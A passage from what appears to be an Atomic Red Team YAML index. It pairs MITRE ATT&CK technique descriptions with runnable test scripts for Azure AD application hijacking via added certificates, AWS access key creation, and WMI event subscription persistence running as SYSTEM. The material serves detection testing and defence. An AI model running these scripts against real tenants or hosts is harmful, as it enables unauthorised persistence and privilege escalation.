        url: https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add
      - source_name: Blue Cloud of Death Video
        description: 'Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming
          Azure. Retrieved November 21, 2019.'
        url: https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815
      - source_name: Blue Cloud of Death
        description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming
          Azure. Retrieved October 23, 2019.'
        url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1
      - source_name: Microsoft SolarWinds Customer Guidance
        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
          Cyber Attacks. Retrieved December 17, 2020.
        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
      - source_name: Expel Behind the Scenes
        description: 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020,
          July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved
          October 1, 2020.'
        url: https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/
      - source_name: Sysdig ScarletEel 2.0
        description: 'SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July
          11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12,
          2023.'
        url: https://sysdig.com/blog/scarleteel-2-0/
      - source_name: Rhino Security Labs AWS Privilege Escalation
        description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods
          and Mitigation. Retrieved May 27, 2022.
        url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1098.001
    atomic_tests:
    - name: Azure AD Application Hijacking - Service Principal
      auto_generated_guid: b8e747c3-bdf7-4d71-bce2-f1df2a057406
      description: |
        Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application.
        This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.
        An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        service_principal_name:
          description: Name of the targeted service principal
          type: string
          default: SuperSP
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential > $null

          $sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
          if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }

          # in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
          $credNotAfter = (Get-Date).AddDays(1)
          $certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry

          $cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
          $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
          Write-Host "Generated certificate ""$($cert.Thumbprint)"""

          New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

          Start-Sleep -s 30
          $tenant = Get-AzureADTenantDetail
          $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint
          Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
          Write-Host "End of Hijacking"
        cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord
          = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction
          Ignore > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"#{service_principal_name}\"
          | Select-Object -First 1\n$credz = Get-AzureADServicePrincipalKeyCredential
          -ObjectId $sp.ObjectId\nforeach ($cred in $credz) {\n  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier)
          -eq \"AtomicTest\") {\n    Write-Host \"Removed $($cred.KeyId) key from
          SP\"\n    Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId
          -KeyId $cred.KeyId\n  }  \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My
          | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n"
        name: powershell
        elevation_required: false
    - name: Azure AD Application Hijacking - App Registration
      auto_generated_guid: a12b5531-acab-4618-a470-0dafb294a87a
      description: |
        Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application.
        This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.
        An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        application_name:
          description: Name of the targeted application
          type: string
          default: SuperApp
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential > $null

          $app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
          if ($app -eq $null) { Write-Warning "Application not found"; exit }

          # in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
          $credNotAfter = (Get-Date).AddDays(1)
          $certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry

          $cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
          $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
          Write-Host "Generated certificate ""$($cert.Thumbprint)"""

          New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

          Start-Sleep -s 30
          $tenant = Get-AzureADTenantDetail
          $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint
          Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
          Write-Host "End of Hijacking"
        cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord
          = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction
          Ignore > $null\n\n$app = Get-AzureADApplication -SearchString \"#{application_name}\"
          | Select-Object -First 1\n$credz = Get-AzureADApplicationKeyCredential -ObjectId
          $app.ObjectId\nforeach ($cred in $credz) {\n  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier)
          -eq \"AtomicTest\") {\n    Write-Host \"Removed $($cred.KeyId) key from
          application\"\n    Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId
          -KeyId $cred.KeyId\n  }  \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My
          | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n"
        name: powershell
        elevation_required: false
    - name: AWS - Create Access Key and Secret Key
      auto_generated_guid: 8822c3b0-d9f9-4daf-a043-491160a31122
      description: 'Adversaries create their own new access and secret keys to programatically
        interact with AWS environment, which is already compromised

        '
      supported_platforms:
      - iaas:aws
      input_arguments:
        username:
          description: Create new AWS access and secret keys for the user
          type: string
          default: atomicredteam
      dependencies:
      - description: 'Check if the user exists.

          '
        prereq_command: 'aws iam list-users | grep #{username}

          '
        get_prereq_command: 'echo Please run atomic test T1136.003, before running
          this atomic

          '
      executor:
        command: |
          aws iam create-access-key --user-name #{username} > "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"
          cd "$PathToAtomicsFolder/T1098.001/bin/"
          ./aws_secret.sh
        cleanup_command: |
          access_key=`cat "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" | jq -r '.AccessKey.AccessKeyId'`
          aws iam delete-access-key --access-key-id $access_key --user-name #{username}
          rm "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"
        name: sh
  T1556.008:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Network Provider DLL
      description: "Adversaries may register malicious network provider dynamic link
        libraries (DLLs) to capture cleartext user credentials during the authentication
        process. Network provider DLLs allow Windows to interface with specific network
        protocols and can also support add-on credential management functions.(Citation:
        Network Provider API) During the logon process, Winlogon (the interactive
        logon module) sends credentials to the local `mpnotify.exe` process via RPC.
        The `mpnotify.exe` process then shares the credentials in cleartext with registered
        credential managers when notifying that a logon event is happening.(Citation:
        NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries
        can configure a malicious network provider DLL to receive credentials from
        `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via
        the Registry), a malicious DLL can receive and save credentials each time
        a user logs onto a Windows workstation or domain via the `NPLogonNotify()`
        function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious
        network provider DLLs on systems known to have increased logon activity and/or
        administrator logon activity, such as servers and domain controllers.(Citation:
        NPPSPY - Huntress)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - CrowdStrike Falcon OverWatch
      - Jai Minton
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: OS API Execution'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04
      created: '2023-03-30T22:45:00.431Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/008
        external_id: T1556.008
      - source_name: NPPSPY - Huntress
        description: " Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting
          User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023."
        url: https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy
      - source_name: NPPSPY Video
        description: Grzegorz Tworek. (2021, December 14). How winlogon.exe shares
          the cleartext password with custom DLLs. Retrieved March 30, 2023.
        url: https://www.youtube.com/watch?v=ggY3srD9dYs
      - source_name: NPPSPY
        description: Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March
          30, 2023.
        url: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
      - source_name: Network Provider API
        description: Microsoft. (2021, January 7). Network Provider API. Retrieved
          March 30, 2023.
        url: https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api
      - source_name: NPLogonNotify
        description: Microsoft. (2021, October 21). NPLogonNotify function (npapi.h).
          Retrieved March 30, 2023.
        url: https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1546.003:
    technique:
      modified: '2024-04-13T14:08:20.882Z'
      name: 'Event Triggered Execution: Windows Management Instrumentation Event Subscription'
      description: |-
        Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)

        Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts – using `mofcomp.exe`  –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)

        WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Brent Murphy, Elastic
      - David French, Elastic
      - Viren Chaudhari, Qualys
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)

        Monitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'WMI: WMI Creation'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58
      created: '2020-01-24T14:07:56.276Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/003
        external_id: T1546.003
      - source_name: FireEye WMI 2015
        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
      - source_name: Dell WMI Persistence
        description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016,
          March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.
        url: https://www.secureworks.com/blog/wmi-persistence
      - source_name: FireEye WMI SANS 2015
        description: Devon Kerr. (2015). There's Something About WMI. Retrieved May
          4, 2020.
        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
      - source_name: Medium Detecting WMI Persistence
        description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
          WMI Persistence. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
      - source_name: Elastic - Hunting for Persistence Part 1
        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
          December 21, 2020.'
        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
      - source_name: Mandiant M-Trends 2015
        description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the
          Front Lines. Retrieved May 18, 2016.'
        url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
      - source_name: Microsoft Register-WmiEvent
        description: Microsoft. (n.d.). Retrieved January 24, 2020.
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: Microsoft MOF May 2018
        description: Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved
          January 24, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.003
    atomic_tests:
    - name: Persistence via WMI Event Subscription - CommandLineEventConsumer
      auto_generated_guid: 3c64f177-28e2-49eb-a799-d767b24dd1e0
      description: |
        Run from an administrator powershell window. After running, reboot the victim machine.
        After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

        Code references

        https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af

        https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545
      supported_platforms:
      - windows
      executor:
        command: |
          $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                          EventNameSpace='root\CimV2';
                          QueryLanguage="WQL";
                          Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
          $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

          $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                          CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
          $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

          $FilterToConsumerArgs = @{
          Filter = [Ref] $Filter;
          Consumer = [Ref] $Consumer;
          }
          $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
        cleanup_command: |
          $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'"
          $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'"
          $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
          $FilterConsumerBindingToCleanup | Remove-WmiObject
          $EventConsumerToCleanup | Remove-WmiObject
          $EventFilterToCleanup | Remove-WmiObject
        name: powershell
        elevation_required: true
    - name: Persistence via WMI Event Subscription - ActiveScriptEventConsumer
      auto_generated_guid: fecd0dfd-fb55-45fa-a10b-6250272d0832
      description: |
        Run from an administrator powershell window. After running, reboot the victim machine.
        After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

        Code references

        https://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c
      supported_platforms:
      - windows
      executor:
        command: |
          $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                          EventNameSpace='root\CimV2';
                          QueryLanguage="WQL";
                          Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
          $Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs

          $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                          ScriptingEngine='VBScript';
                          ScriptText='
                          Set objws = CreateObject("Wscript.Shell")
                          objws.Run "notepad.exe", 0, True
                          '}
          $Consumer=Set-WmiInstance -Namespace "root\subscription" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs

          $FilterToConsumerArgs = @{
          Filter = $Filter;
          Consumer = $Consumer;
          }
          $FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs
        cleanup_command: |
          $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'"
          $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'"
          $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
          $FilterConsumerBindingToCleanup | Remove-WmiObject
          $EventConsumerToCleanup | Remove-WmiObject
          $EventFilterToCleanup | Remove-WmiObject
        name: powershell
        elevation_required: true
    - name: Windows MOFComp.exe Load MOF File
      auto_generated_guid: 29786d7e-8916-4de6-9c55-be7b093b2706
      description: "The following Atomic will utilize MOFComp.exe to load a local
        MOF file.\nThe Managed Object Format (MOF) compiler parses a file containing
        MOF statements and adds the classes and class instances defined in the file
        to the WMI repository. \nTo query for the class:  gwmi __eventfilter -namespace
        root\\subscription\nA successful execution will add the class to WMI root
        namespace.\nReference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/
        and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.\n"
      supported_platforms:
      - windows
      input_arguments:
        mofcomp_path:
          description: Location of mofcomp.exe
          type: string
          default: c:\windows\system32\wbem\mofcomp.exe
        mof_file:
          description: Local location MOF file
          type: string
          default: PathToAtomicsFolder\T1546.003\src\T1546.003.mof
      dependency_executor_name: powershell
      dependencies:
      - description: 'MofComp.exe must exist on disk at specified location (#{mofcomp_path})

          '
        prereq_command: 'if (Test-Path "#{mofcomp_path}") { exit 0} else { exit 1}

          '
        get_prereq_command: 'Validate MOFComp.exe is on disk somewhere and update
          input argument.

          '
      - description: 'MofComp.exe must exist on disk at specified location (#{mof_file})

          '
        prereq_command: 'if (Test-Path "#{mof_file}") { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{mof_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof" -OutFile "#{mof_file}"
      executor:
        command: '#{mofcomp_path} "#{mof_file}"

          '
        cleanup_command: |
          $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam_consumer'"
          $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam_filter'"
          $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
          $FilterConsumerBindingToCleanup | Remove-WmiObject
          $EventConsumerToCleanup | Remove-WmiObject
          $EventFilterToCleanup | Remove-WmiObject
        name: powershell
  T1554:
    technique:
      modified: '2024-04-16T13:03:40.824Z'
      name: Compromise Host Software Binary
      description: |-
        Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.

        Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host.

        An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - CrowdStrike Falcon OverWatch
      x_mitre_deprecated: false
      x_mitre_detection: "Collect and analyze signing certificate metadata and check
        signature validity on software that executes within the environment. Look
        for changes to client software that do not correlate with known software or
        patch cycles. \n\nConsider monitoring for anomalous behavior from client applications,
        such as atypical module loads, file reads/writes, or network connections."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'File: File Deletion'
      - 'File: File Modification'
      - 'File: File Metadata'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5
      created: '2020-02-11T18:18:34.279Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1554
        external_id: T1554
      - source_name: Unit42 Banking Trojans Hooking 2022
        description: 'Or Chechik. (2022, October 31). Banking Trojan Techniques: How
          Financially Motivated Malware Became Infrastructure. Retrieved September
          27, 2023.'
        url: https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n
      - source_name: ESET FontOnLake Analysis 2021
        description: Vladislav Hrčka. (2021, January 1). FontOnLake. Retrieved September
          27, 2023.
        url: https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1546.001:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Event Triggered Execution: Change Default File Association'
      description: "Adversaries may establish persistence by executing malicious content
        triggered by a file type association. When a file is opened, the default program
        used to open the file (also called the file association or handler) is checked.
        File association selections are stored in the Windows Registry and can be
        edited by users, administrators, or programs that have Registry access or
        by administrators using the built-in assoc utility.(Citation: Microsoft Change
        Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc
        Oct 2017) Applications can modify the file association for a given file extension
        to call an arbitrary program when a file with the given extension is opened.\n\nSystem
        file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>,
        for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler
        for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>.
        The various commands are then listed as subkeys underneath the shell key at
        <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. For
        example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n*
        <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe
        values of the keys listed are commands that are executed when the handler
        opens the file extension. Adversaries can modify these values to continually
        execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.

        User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.

        Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
